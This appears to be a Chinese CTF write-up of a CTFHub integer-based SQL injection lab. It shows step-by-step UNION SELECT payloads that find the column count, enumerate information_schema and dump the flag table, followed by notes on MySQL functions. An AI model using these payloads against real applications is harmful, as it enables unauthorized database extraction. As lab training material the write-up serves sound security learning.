天天看点

SQL注入学习记录 CTFHub SQL注入 整数型注入

首先进入界面可以看见这样:

SQL注入学习记录 CTFHub SQL注入 整数型注入

很明显输入框就是注入口,分别输入1,1 and 1=1,1 and 1=2

SQL注入学习记录 CTFHub SQL注入 整数型注入
SQL注入学习记录 CTFHub SQL注入 整数型注入
SQL注入学习记录 CTFHub SQL注入 整数型注入

后者返回值与前两者不同,说明存在注入点。

然后通过order by x找出该数据表的字段数量,输入

1 order by 1

1 order by 2

,返回结果相同,输入

1 order by 3

返回结果不同,证明字段数为2。

SQL注入学习记录 CTFHub SQL注入 整数型注入
SQL注入学习记录 CTFHub SQL注入 整数型注入
SQL注入学习记录 CTFHub SQL注入 整数型注入

然后通过union注入,输入

-1 union select 1,2

,回显结果:

SQL注入学习记录 CTFHub SQL注入 整数型注入

说明在

-1 union select 1,2

中,1,2的位置都能回显。

所以输入

-1 union select 1,database()

,爆出数据库名:

SQL注入学习记录 CTFHub SQL注入 整数型注入

得到数据库名sqli,接着输入

-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

,爆出sqli库中的表名:

SQL注入学习记录 CTFHub SQL注入 整数型注入

得到表名news和flag,很明显flag就在表flag中。

然后输入

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

,爆出列名:

SQL注入学习记录 CTFHub SQL注入 整数型注入

得到列名flag,最后输入

-1 union select 1,group_concat(flag) from sqli.flag

,爆出字段内容:

SQL注入学习记录 CTFHub SQL注入 整数型注入

拿到flag!

知识点

一、常用函数

1、database():当前网站使用的数据库

2、version():当前MySQL版本

3、user():当前MySQL的用户

二、MySQL默认有“information_schema”的数据库,该库中有三个表名:

1、SCHEMATA:存储该用户创建的所有数据库的库名,记录库名的字段为SCHEMA_NAME。

2、TABLES:存储该用户创建的所有数据库的库名和表名,记录库名和表名的字段为TABLE_SCHEMA和TABLE_NAME。

3、COLUMNS:存储该用户创建的所有数据库的库名、表名和字段名,库名、表名和字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

三、union注入

union操作符将两个SQL查询语句连接了起来,当设置id参数为-1时,由于没有id=-1的数据,因此会返回union后的查询语句的结果。